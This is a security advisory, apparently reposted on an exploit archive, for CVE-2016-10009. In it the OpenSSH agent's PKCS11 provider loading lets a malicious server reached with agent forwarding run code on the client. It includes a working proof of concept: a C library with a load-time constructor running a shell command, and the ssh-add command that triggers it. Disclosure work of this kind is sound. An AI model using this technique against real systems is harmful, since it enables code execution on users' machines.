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OpenSSH Arbitrary Library Loading

OpenSSH Arbitrary Library Loading
Posted Dec 23, 2016
Authored by Jann Horn, Google Security Research

The OpenSSH agent permits its clients to load PKCS11 providers using the commands SSH_AGENTC_ADD_SMARTCARD_KEY and SSH_AGENTC_ADD_SMARTCARD_KEY_CONSTRAINED if OpenSSH was compiled with the ENABLE_PKCS11 flag (normally enabled) and the agent isn't locked. For these commands, the client has to specify a provider name. Th e agent passes this provider name to a subprocess (via ssh-agent.c:process_add_smartcard_key -> ssh-pkcs11-client.c:pkcs11_add_provider -> ssh-pkcs11-client.c:s end_msg), and the subprocess receives it and passes it to dlopen() (via ssh-pkcs 11-helper.c:process -> ssh-pkcs11-helper.c:process_add -> ssh-pkcs11.c:pkcs11_ad d_provider -> dlopen). No checks are performed on the provider name, apart from testing whether that provider is already loaded. This means that, if a user connects to a malicious SSH server with agent forwarding enabled and the malicious server has the ability to place a file with attacker-controlled contents in the victim's filesystem, the SSH server can execute code on the user's machine.

tags | exploit
advisories | CVE-2016-10009
MD5 | ab582fb557accdc7aabfd60bc38dfed3

OpenSSH Arbitrary Library Loading

Change Mirror Download
OpenSSH: agent protocol permits loading arbitrary libraries 

CVE-2016-10009


The OpenSSH agent permits its clients to load PKCS11 providers using the commands SSH_AGENTC_ADD_SMARTCARD_KEY and SSH_AGENTC_ADD_SMARTCARD_KEY_CONSTRAINED if OpenSSH was compiled with the ENABLE_PKCS11 flag (normally enabled) and the agent isn't locked. For these commands, the client has to specify a provider name. The agent passes this provider name to a subprocess (via ssh-agent.c:process_add_smartcard_key -> ssh-pkcs11-client.c:pkcs11_add_provider -> ssh-pkcs11-client.c:send_msg), and the subprocess receives it and passes it to dlopen() (via ssh-pkcs11-helper.c:process -> ssh-pkcs11-helper.c:process_add -> ssh-pkcs11.c:pkcs11_add_provider -> dlopen). No checks are performed on the provider name, apart from testing whether that provider is already loaded.

This means that, if a user connects to a malicious SSH server with agent forwarding enabled and the malicious server has the ability to place a file with attacker-controlled contents in the victim's filesystem, the SSH server can execute code on the user's machine.

To reproduce the issue, first create a library that executes some command when it is loaded:

$ cat evil_lib.c
#include <stdlib.h>
__attribute__((constructor)) static void run(void) {
// in case you're loading this via LD_PRELOAD or LD_LIBRARY_PATH,
// prevent recursion through system()
unsetenv("LD_PRELOAD");
unsetenv("LD_LIBRARY_PATH");
system("id > /tmp/test");
}
$ gcc -shared -o evil_lib.so evil_lib.c -fPIC -Wall

Connect to another machine using "ssh -A". Then, on the remote machine:

$ ssh-add -s [...]/evil_lib.so
Enter passphrase for PKCS#11: [just press enter here]
SSH_AGENT_FAILURE
Could not add card: [...]/evil_lib.so

At this point, the command "id > /tmp/test" has been executed on the machine running the ssh agent:

$ cat /tmp/test
uid=1000(user) gid=1000(user) groups=[...]

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.



Found by: Jann Horn

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